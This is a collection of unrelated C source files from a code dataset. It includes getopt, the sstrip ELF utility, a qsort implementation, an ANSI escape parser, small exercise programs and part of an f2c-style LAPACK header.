}
else
/* We already incremented `optind' once;
increment it again when taking next ARGV-elt as argument. */
optarg = argv[optind++];
nextchar = NULL;
}
}
return c;
}
}
int
getopt (argc, argv, optstring)
int argc;
char *const *argv;
const char *optstring;
{
return _getopt_internal (argc, argv, optstring,
(const struct option *) 0,
(int *) 0,
0);
}
#endif /* Not ELIDE_CODE. */
#ifdef TEST
/* Compile with -DTEST to make an executable for use in testing
the above definition of `getopt'. */
int
main (argc, argv)
int argc;
char **argv;
{
int c;
int digit_optind = 0;
while (1)
{
int this_option_optind = optind ? optind : 1;
c = getopt (argc, argv, "abc:d:0123456789");
if (c == -1)
break;
switch (c)
{
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
if (digit_optind != 0 && digit_optind != this_option_optind)
printf ("digits occur in two different argv-elements.\n");
digit_optind = this_option_optind;
printf ("option %c\n", c);
break;
case 'a':
printf ("option a\n");
break;
case 'b':
printf ("option b\n");
break;
case 'c':
printf ("option c with value `%s'\n", optarg);
break;
case '?':
break;
default:
printf ("?? getopt returned character code 0%o ??\n", c);
}
}
if (optind < argc)
{
printf ("non-option ARGV-elements: ");
while (optind < argc)
printf ("%s ", argv[optind++]);
printf ("\n");
}
exit (0);
}
#endif /* TEST */
|
the_stack_data/137329.c | /*
gcc -std=c17 -lc -lm -pthread -o ../_build/c/numeric_math_fabs.exe ./c/numeric_math_fabs.c && (cd ../_build/c/;./numeric_math_fabs.exe)
https://en.cppreference.com/w/c/numeric/math/fabs
*/
#include <stdio.h>
#include <math.h>
/* This numerical integration assumes all area is positive. */
#define PI 3.14159
double num_int (double a, double b,
double f(double),
unsigned n) {
if (a == b) return 0.0;
if (n == 0) n=1; /* avoid division by zero */
double h = (b-a)/n;
double sum = 0.0;
for (unsigned k=0; k < n; ++k)
sum += h*fabs(f(a+k*h));
return sum;
}
int main(void)
{
printf("fabs(+3) = %f\n", fabs(+3.0));
printf("fabs(-3) = %f\n", fabs(-3.0));
// special values
printf("fabs(-0) = %f\n", fabs(-0.0));
printf("fabs(-Inf) = %f\n", fabs(-INFINITY));
printf("%f\n", num_int(0.0,2*PI,sin,100000));
}
|
the_stack_data/36074324.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2014 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
char data[0xa0000000];
int main()
{
return 0;
}
|
the_stack_data/98575553.c | /* http://www.muppetlabs.com/~breadbox/software/elfkickers.html */
/* sstrip: Copyright (C) 1999-2001 by Brian Raiter, under the GNU
* General Public License. No warranty. See COPYING for details.
*
* Aug 23, 2004 Hacked by Manuel Novoa III <[email protected]> to
* handle targets of different endianness and/or elf class, making
* it more useful in a cross-devel environment.
*/
/* ============== original README ===================
*
* sstrip is a small utility that removes the contents at the end of an
* ELF file that are not part of the program's memory image.
*
* Most ELF executables are built with both a program header table and a
* section header table. However, only the former is required in order
* for the OS to load, link and execute a program. sstrip attempts to
* extract the ELF header, the program header table, and its contents,
* leaving everything else in the bit bucket. It can only remove parts of
* the file that occur at the end, after the parts to be saved. However,
* this almost always includes the section header table, and occasionally
* a few random sections that are not used when running a program.
*
* It should be noted that the GNU bfd library is (understandably)
* dependent on the section header table as an index to the file's
* contents. Thus, an executable file that has no section header table
* cannot be used with gdb, objdump, or any other program based upon the
* bfd library, at all. In fact, the program will not even recognize the
* file as a valid executable. (This limitation is noted in the source
* code comments for bfd, and is marked "FIXME", so this may change at
* some future date. However, I would imagine that it is a pretty
* low-priority item, as executables without a section header table are
* rare in the extreme.) This probably also explains why strip doesn't
* offer the option to do this.
*
* Shared library files may also have their section header table removed.
* Such a library will still function; however, it will no longer be
* possible for a compiler to link a new program against it.
*
* As an added bonus, sstrip also tries to removes trailing zero bytes
* from the end of the file. (This normally cannot be done with an
* executable that has a section header table.)
*
* sstrip is a very simplistic program. It depends upon the common
* practice of putting the parts of the file that contribute to the
* memory image at the front, and the remaining material at the end. This
* permits it to discard the latter material without affecting file
* offsets and memory addresses in what remains. Of course, the ELF
* standard permits files to be organized in almost any order, so if a
* pathological linker decided to put its section headers at the top,
* sstrip would be useless on such executables.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#ifndef TRUE
#define TRUE 1
#define FALSE 0
#endif
/* The name of the program.
*/
static char const *progname;
/* The name of the current file.
*/
static char const *filename;
/* A simple error-handling function. FALSE is always returned for the
* convenience of the caller.
*/
static int err(char const *errmsg)
{
fprintf(stderr, "%s: %s: %s\n", progname, filename, errmsg);
return FALSE;
}
/* A flag to signal the need for endian reversal.
*/
static int do_reverse_endian;
/* Get a value from the elf header, compensating for endianness.
*/
#define EGET(X) \
(__extension__ ({ \
uint64_t __res; \
if (!do_reverse_endian) { \
__res = (X); \
} else if (sizeof(X) == 1) { \
__res = (X); \
} else if (sizeof(X) == 2) { \
__res = bswap_16((X)); \
} else if (sizeof(X) == 4) { \
__res = bswap_32((X)); \
} else if (sizeof(X) == 8) { \
__res = bswap_64((X)); \
} else { \
fprintf(stderr, "%s: %s: EGET failed for size %d\n", \
progname, filename, sizeof(X)); \
exit(EXIT_FAILURE); \
} \
__res; \
}))
/* Set a value 'Y' in the elf header to 'X', compensating for endianness.
*/
#define ESET(Y,X) \
do if (!do_reverse_endian) { \
Y = (X); \
} else if (sizeof(Y) == 1) { \
Y = (X); \
} else if (sizeof(Y) == 2) { \
Y = bswap_16((uint16_t)(X)); \
} else if (sizeof(Y) == 4) { \
Y = bswap_32((uint32_t)(X)); \
} else if (sizeof(Y) == 8) { \
Y = bswap_64((uint64_t)(X)); \
} else { \
fprintf(stderr, "%s: %s: ESET failed for size %d\n", \
progname, filename, sizeof(Y)); \
exit(EXIT_FAILURE); \
} while (0)
/* A macro for I/O errors: The given error message is used only when
* errno is not set.
*/
#define ferr(msg) (err(errno ? strerror(errno) : (msg)))
#define HEADER_FUNCTIONS(CLASS) \
\
/* readelfheader() reads the ELF header into our global variable, and \
* checks to make sure that this is in fact a file that we should be \
* munging. \
*/ \
static int readelfheader ## CLASS (int fd, Elf ## CLASS ## _Ehdr *ehdr) \
{ \
if (read(fd, ((char *)ehdr)+EI_NIDENT, sizeof(*ehdr) - EI_NIDENT) \
!= sizeof(*ehdr) - EI_NIDENT) \
return ferr("missing or incomplete ELF header."); \
\
/* Verify the sizes of the ELF header and the program segment \
* header table entries. \
*/ \
if (EGET(ehdr->e_ehsize) != sizeof(Elf ## CLASS ## _Ehdr)) \
return err("unrecognized ELF header size."); \
if (EGET(ehdr->e_phentsize) != sizeof(Elf ## CLASS ## _Phdr)) \
return err("unrecognized program segment header size."); \
\
/* Finally, check the file type. \
*/ \
if (EGET(ehdr->e_type) != ET_EXEC && EGET(ehdr->e_type) != ET_DYN) \
return err("not an executable or shared-object library."); \
\
return TRUE; \
} \
\
/* readphdrtable() loads the program segment header table into memory. \
*/ \
static int readphdrtable ## CLASS (int fd, Elf ## CLASS ## _Ehdr const *ehdr, \
Elf ## CLASS ## _Phdr **phdrs) \
{ \
size_t size; \
\
if (!EGET(ehdr->e_phoff) || !EGET(ehdr->e_phnum) \
) return err("ELF file has no program header table."); \
\
size = EGET(ehdr->e_phnum) * sizeof **phdrs; \
if (!(*phdrs = malloc(size))) \
return err("Out of memory!"); \
\
errno = 0; \
if (read(fd, *phdrs, size) != (ssize_t)size) \
return ferr("missing or incomplete program segment header table."); \
\
return TRUE; \
} \
\
/* getmemorysize() determines the offset of the last byte of the file \
* that is referenced by an entry in the program segment header table. \
* (Anything in the file after that point is not used when the program \
* is executing, and thus can be safely discarded.) \
*/ \
static int getmemorysize ## CLASS (Elf ## CLASS ## _Ehdr const *ehdr, \
Elf ## CLASS ## _Phdr const *phdrs, \
unsigned long *newsize) \
{ \
Elf ## CLASS ## _Phdr const *phdr; \
unsigned long size, n; \
int i; \
\
/* Start by setting the size to include the ELF header and the \
* complete program segment header table. \
*/ \
size = EGET(ehdr->e_phoff) + EGET(ehdr->e_phnum) * sizeof *phdrs; \
if (size < sizeof *ehdr) \
size = sizeof *ehdr; \
\
/* Then keep extending the size to include whatever data the \
* program segment header table references. \
*/ \
for (i = 0, phdr = phdrs ; i < EGET(ehdr->e_phnum) ; ++i, ++phdr) { \
if (EGET(phdr->p_type) != PT_NULL) { \
n = EGET(phdr->p_offset) + EGET(phdr->p_filesz); \
if (n > size) \
size = n; \
} \
} \
\
*newsize = size; \
return TRUE; \
} \
\
/* modifyheaders() removes references to the section header table if \
* it was stripped, and reduces program header table entries that \
* included truncated bytes at the end of the file. \
*/ \
static int modifyheaders ## CLASS (Elf ## CLASS ## _Ehdr *ehdr, \
Elf ## CLASS ## _Phdr *phdrs, \
unsigned long newsize) \
{ \
Elf ## CLASS ## _Phdr *phdr; \
int i; \
\
/* If the section header table is gone, then remove all references \
* to it in the ELF header. \
*/ \
if (EGET(ehdr->e_shoff) >= newsize) { \
ESET(ehdr->e_shoff,0); \
ESET(ehdr->e_shnum,0); \
ESET(ehdr->e_shentsize,0); \
ESET(ehdr->e_shstrndx,0); \
} \
\
/* The program adjusts the file size of any segment that was \
* truncated. The case of a segment being completely stripped out \
* is handled separately. \
*/ \
for (i = 0, phdr = phdrs ; i < EGET(ehdr->e_phnum) ; ++i, ++phdr) { \
if (EGET(phdr->p_offset) >= newsize) { \
ESET(phdr->p_offset,newsize); \
ESET(phdr->p_filesz,0); \
} else if (EGET(phdr->p_offset) + EGET(phdr->p_filesz) > newsize) { \
newsize -= EGET(phdr->p_offset); \
ESET(phdr->p_filesz, newsize); \
} \
} \
\
return TRUE; \
} \
\
/* commitchanges() writes the new headers back to the original file \
* and sets the file to its new size. \
*/ \
static int commitchanges ## CLASS (int fd, Elf ## CLASS ## _Ehdr const *ehdr, \
Elf ## CLASS ## _Phdr *phdrs, \
unsigned long newsize) \
{ \
size_t n; \
\
/* Save the changes to the ELF header, if any. \
*/ \
if (lseek(fd, 0, SEEK_SET)) \
return ferr("could not rewind file"); \
errno = 0; \
if (write(fd, ehdr, sizeof *ehdr) != sizeof *ehdr) \
return err("could not modify file"); \
\
/* Save the changes to the program segment header table, if any. \
*/ \
if (lseek(fd, EGET(ehdr->e_phoff), SEEK_SET) == (off_t)-1) { \
err("could not seek in file."); \
goto warning; \
} \
n = EGET(ehdr->e_phnum) * sizeof *phdrs; \
if (write(fd, phdrs, n) != (ssize_t)n) { \
err("could not write to file"); \
goto warning; \
} \
\
/* Eleventh-hour sanity check: don't truncate before the end of \
* the program segment header table. \
*/ \
if (newsize < EGET(ehdr->e_phoff) + n) \
newsize = EGET(ehdr->e_phoff) + n; \
\
/* Chop off the end of the file. \
*/ \
if (ftruncate(fd, newsize)) { \
err("could not resize file"); \
goto warning; \
} \
\
return TRUE; \
\
warning: \
return err("ELF file may have been corrupted!"); \
}
/* First elements of Elf32_Ehdr and Elf64_Ehdr are common.
*/
static int readelfheaderident(int fd, Elf32_Ehdr *ehdr)
{
errno = 0;
if (read(fd, ehdr, EI_NIDENT) != EI_NIDENT)
return ferr("missing or incomplete ELF header.");
/* Check the ELF signature.
*/
if (!(ehdr->e_ident[EI_MAG0] == ELFMAG0 &&
ehdr->e_ident[EI_MAG1] == ELFMAG1 &&
ehdr->e_ident[EI_MAG2] == ELFMAG2 &&
ehdr->e_ident[EI_MAG3] == ELFMAG3))
{
err("missing ELF signature.");
return -1;
}
/* Compare the file's class and endianness with the program's.
*/
#if __BYTE_ORDER == __LITTLE_ENDIAN
if (ehdr->e_ident[EI_DATA] == ELFDATA2LSB) {
do_reverse_endian = 0;
} else if (ehdr->e_ident[EI_DATA] == ELFDATA2MSB) {
/* fprintf(stderr, "ELF file has different endianness.\n"); */
do_reverse_endian = 1;
}
#elif __BYTE_ORDER == __BIG_ENDIAN
if (ehdr->e_ident[EI_DATA] == ELFDATA2LSB) {
/* fprintf(stderr, "ELF file has different endianness.\n"); */
do_reverse_endian = 1;
} else if (ehdr->e_ident[EI_DATA] == ELFDATA2MSB) {
do_reverse_endian = 0;
}
#else
#error unkown endianness
#endif
else {
err("Unsupported endianness");
return -1;
}
/* Check the target architecture.
*/
/* if (EGET(ehdr->e_machine) != ELF_ARCH) { */
/* /\* return err("ELF file created for different architecture."); *\/ */
/* fprintf(stderr, "ELF file created for different architecture.\n"); */
/* } */
return ehdr->e_ident[EI_CLASS];
}
HEADER_FUNCTIONS(32)
HEADER_FUNCTIONS(64)
/* truncatezeros() examines the bytes at the end of the file's
* size-to-be, and reduces the size to exclude any trailing zero
* bytes.
*/
static int truncatezeros(int fd, unsigned long *newsize)
{
unsigned char contents[1024];
unsigned long size, n;
size = *newsize;
do {
n = sizeof contents;
if (n > size)
n = size;
if (lseek(fd, size - n, SEEK_SET) == (off_t)-1)
return ferr("cannot seek in file.");
if (read(fd, contents, n) != (ssize_t)n)
return ferr("cannot read file contents");
while (n && !contents[--n])
--size;
} while (size && !n);
/* Sanity check.
*/
if (!size)
return err("ELF file is completely blank!");
*newsize = size;
return TRUE;
}
/* main() loops over the cmdline arguments, leaving all the real work
* to the other functions.
*/
int main(int argc, char *argv[])
{
int fd;
union {
Elf32_Ehdr ehdr32;
Elf64_Ehdr ehdr64;
} e;
union {
Elf32_Phdr *phdrs32;
Elf64_Phdr *phdrs64;
} p;
unsigned long newsize;
char **arg;
int failures = 0;
if (argc < 2 || argv[1][0] == '-') {
printf("Usage: sstrip FILE...\n"
"sstrip discards all nonessential bytes from an executable.\n\n"
"Version 2.0-X Copyright (C) 2000,2001 Brian Raiter.\n"
"Cross-devel hacks Copyright (C) 2004 Manuel Novoa III.\n"
"This program is free software, licensed under the GNU\n"
"General Public License. There is absolutely no warranty.\n");
return EXIT_SUCCESS;
}
progname = argv[0];
for (arg = argv + 1 ; *arg != NULL ; ++arg) {
filename = *arg;
fd = open(*arg, O_RDWR);
if (fd < 0) {
ferr("can't open");
++failures;
continue;
}
switch (readelfheaderident(fd, &e.ehdr32)) {
case ELFCLASS32:
if (!(readelfheader32(fd, &e.ehdr32) &&
readphdrtable32(fd, &e.ehdr32, &p.phdrs32) &&
getmemorysize32(&e.ehdr32, p.phdrs32, &newsize) &&
truncatezeros(fd, &newsize) &&
modifyheaders32(&e.ehdr32, p.phdrs32, newsize) &&
commitchanges32(fd, &e.ehdr32, p.phdrs32, newsize)))
++failures;
break;
case ELFCLASS64:
if (!(readelfheader64(fd, &e.ehdr64) &&
readphdrtable64(fd, &e.ehdr64, &p.phdrs64) &&
getmemorysize64(&e.ehdr64, p.phdrs64, &newsize) &&
truncatezeros(fd, &newsize) &&
modifyheaders64(&e.ehdr64, p.phdrs64, newsize) &&
commitchanges64(fd, &e.ehdr64, p.phdrs64, newsize)))
++failures;
break;
default:
++failures;
break;
}
close(fd);
}
return failures ? EXIT_FAILURE : EXIT_SUCCESS;
}
|
the_stack_data/28263564.c | #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#define ANSI_ESC '\033'
void append(char* s, char c)
{
int len = strlen(s);
s[len] = c;
s[len+1] = '\0';
}
int ansi_len(const char * esc)
{
int i = 0;
if (esc[0] == ANSI_ESC && esc[1] == '[')
{
i += 2;
while (esc[i] == ';' || isdigit(esc[i])) i++;
if (isalpha(esc[i]))
{
i++;
}
}
return i;
}
int ansi_value_count(const char *esc)
{
int count = 0;
if (esc[0] == ANSI_ESC && esc[1] == '[')
{
int wait_for_digit = 1;
for(size_t i = 2; isdigit(esc[i]) || esc[i] == ';'; i++)
{
if (wait_for_digit && isdigit(esc[i]))
{
wait_for_digit = 0;
count++;
}
if (esc[i] == ';')
{
wait_for_digit = 1;
}
}
}
return count;
}
int ansi_value(const char *esc, int index)
{
char buffer[12];
buffer[0] = '\0';
if (esc[0] == ANSI_ESC && esc[1] == '[')
{
esc += 2;
for(size_t i = 0; isdigit(esc[i]) || esc[i] == ';'; i++)
{
char c = esc[i];
if (c == ';')
{
index--;
}
else if (index == 0)
{
append(buffer, c);
}
}
return atoi(buffer);
}
return 0;
}
void test(const char * esc)
{
printf("esc: %s = COUNT=%i LEN=%i\n", esc + 1, ansi_value_count(esc), ansi_len(esc));
for(size_t i = 0; i < ansi_value_count(esc); i++)
{
printf("val: %i\n", ansi_value(esc, i));
}
}
int main()
{
test("\033[m sdhfjkqsdhflkj");
test("\033[43m sdhfjkqsdhflkj");
test("\033[43;42m qsdfdskjlfhk");
test("\033[43;42;24m fqsjmldfjsl");
return 0;
} |
the_stack_data/248579729.c | #include <stdlib.h>
#include <stdbool.h>
#include <stdio.h>
#define BUF_SIZE 1024
//Checks if character is vowel
bool check_Vowel(char C) {
char c = tolower(c);
if (c == 'a' || c == 'e' || c =='i' || c == 'o' || c == 'u') {
return true;
}
return false;
}
//Grabs all non vowels
int get_non_vowels(int num_chars, char* in_buf, char* out_buf) {
int i;
int length = 0;
for (i = 0; i < num_chars; i++) {
if (!check_Vowel(in_buf[i]) == false) {
out_buf[length] = in_buf[i];
length++;
}
}
return length;
}
//Grabs all the non vowels and sends them to outputFile
void file_disemvowel(FILE* inputFile, FILE* outputFile) {
char *in_buf = (char*) calloc(BUF_SIZE, sizeof(char));
char *out_buf = (char*) calloc(BUF_SIZE, sizeof(char));
int j = 0;
int i = BUF_SIZE;
while (i == BUF_SIZE) {
i = fread(in_buf, sizeof(char), BUF_SIZE, inputFile);
j = get_non_vowels(i, in_buf, out_buf);
fwrite(out_buf, sizeof(char), j, outputFile);
}
free(in_buf);
free(out_buf);
fclose(inputFile);
fclose(outputFile);
}
int main(int argc, char*argv[]) {
FILE *inputFile;
FILE *outputFile;
if(argc == 1){
inputFile = stdin;
outputFile = stdout;
}
else if(argc == 2){
inputFile = fopen(argv[1], "r");
outputFile = stdout;
}
else if(argc == 3){
inputFile = fopen(argv[1], "r");
outputFile = fopen(argv[2], "w+");
}
file_disemvowel(inputFile, outputFile);
fclose(outputFile);
return 0;
}
|
the_stack_data/19256.c | #include <stdlib.h>
void memswp(char *i, char *j, size_t size) {
char t1;
char t2;
for (size_t k = 0; k < size; k++) {
t1 = *i;
t2 = *j;
*i++ = t2;
*j++ = t1;
}
}
// Modified from PDCLIB
// Much thanks to Solar for writing this function
/* For small sets, insertion sort is faster than quicksort.
T is the threshold below which insertion sort will be used.
Must be 3 or larger.
*/
#define T 7
/* Macros for handling the QSort stack */
#define PREPARE_STACK char * stack[STACKSIZE]; char ** stackptr = stack
#define PUSH( base, limit ) stackptr[0] = base; stackptr[1] = limit; stackptr += 2
#define POP( base, limit ) stackptr -= 2; base = stackptr[0]; limit = stackptr[1]
/* TODO: Stack usage is log2( nmemb ) (minus what T shaves off the worst case).
Worst-case nmemb is platform dependent and should probably be
configured through _PDCLIB_config.h.
*/
#define STACKSIZE 64
void qsort( void * base, size_t nmemb, size_t size, int ( *compar )( const void *, const void * ) )
{
char * i;
char * j;
size_t thresh = T * size;
char * base_ = ( char * )base;
char * limit = base_ + nmemb * size;
PREPARE_STACK;
for ( ;; )
{
if ( ( size_t )( limit - base_ ) > thresh ) /* QSort for more than T elements. */
{
/* We work from second to last - first will be pivot element. */
i = base_ + size;
j = limit - size;
/* We swap first with middle element, then sort that with second
and last element so that eventually first element is the median
of the three - avoiding pathological pivots.
TODO: Instead of middle element, chose one randomly.
*/
memswp( ( ( ( ( size_t )( limit - base_ ) ) / size ) / 2 ) * size + base_, base_, size );
if ( compar( i, j ) > 0 )
{
memswp( i, j, size );
}
if ( compar( base_, j ) > 0 )
{
memswp( base_, j, size );
}
if ( compar( i, base_ ) > 0 )
{
memswp( i, base_, size );
}
/* Now we have the median for pivot element, entering main Quicksort. */
for ( ;; )
{
do
{
/* move i right until *i >= pivot */
i += size;
} while ( compar( i, base_ ) < 0 );
do
{
/* move j left until *j <= pivot */
j -= size;
} while ( compar( j, base_ ) > 0 );
if ( i > j )
{
/* break loop if pointers crossed */
break;
}
/* else swap elements, keep scanning */
memswp( i, j, size );
}
/* move pivot into correct place */
memswp( base_, j, size );
/* larger subfile base / limit to stack, sort smaller */
if ( j - base_ > limit - i )
{
/* left is larger */
PUSH( base_, j );
base_ = i;
}
else
{
/* right is larger */
PUSH( i, limit );
limit = j;
}
}
else /* insertion sort for less than T elements */
{
for ( j = base_, i = j + size; i < limit; j = i, i += size )
{
for ( ; compar( j, j + size ) > 0; j -= size )
{
memswp( j, j + size, size );
if ( j == base_ )
{
break;
}
}
}
if ( stackptr != stack ) /* if any entries on stack */
{
POP( base_, limit );
}
else /* else stack empty, done */
{
break;
}
}
}
} |
the_stack_data/218891988.c | #include <stdio.h>
int main()
{
int a;
int b;
scanf("%d %d", &a, &b);
printf("계 : %d", a+b);
printf("평 : %d", (a+b)/2);
return 0;
}
|
the_stack_data/103265783.c | /*
* Problem 50: Consecutive prime sum
*
* https://projecteuler.net/problem=50
*/
#include <stdio.h>
#include <stdlib.h>
//A constant with the problem's boundary.
#define LIMIT 1000000
int main(){
//A byte field for the sieve of Eratosthenes, an additional element was added
// to match indices and numbers.
char *byte_field = (char*)malloc((LIMIT+1)*sizeof(char));
int i, j, current_sum, largest_prime;
//Initialise the sieve's array to 1, as all numbers are possible primes.
byte_field[0] = 0;
byte_field[1] = 0;
for (i = 2; i < LIMIT+1; i++){
byte_field[i] = 1;
}
//Execute the sieve
for (i = 2; i < LIMIT+1; i++){
if (!byte_field[i]){
continue;
}
for (j = 2*i; j < LIMIT+1; j += i){
byte_field[j] = 0;
}
}
//Traverse the array, initialise current sum and largest prime to 0.
for (i = 2, current_sum = 0, largest_prime = 0; i < LIMIT+1; i++){
//If this is a prime, add it to the current sum, if the sum exceeds the limit undo the
// operation and break the loop, otherwise, and, if the result is a prime, record it.
if (byte_field[i]){
current_sum += i;
if (current_sum > LIMIT){
current_sum -= i;
break;
}
if (byte_field[current_sum]){
largest_prime = current_sum;
}
}
}
//Since the problem is about finding consecutive primes, we need to try removing the lower
// primes to see if the result increases, once the sum falls below the largest recorded
// prime carrying on would make no sense. So, starting from 2, remove primes from the sum.
for (i = 2; current_sum > largest_prime; i++){
if (byte_field[i]){
current_sum -= i;
//If the operation yields a prime, it will be in fact the largest prime we'll be
// able to find, since at this point we are subtracting.
if (byte_field[current_sum]){
largest_prime = current_sum;
break;
}
}
}
//Clean up and output the result.
free(byte_field);
printf("\n\nThe largest prime is %i\n\n", largest_prime);
return 0;
}
|
the_stack_data/247017427.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
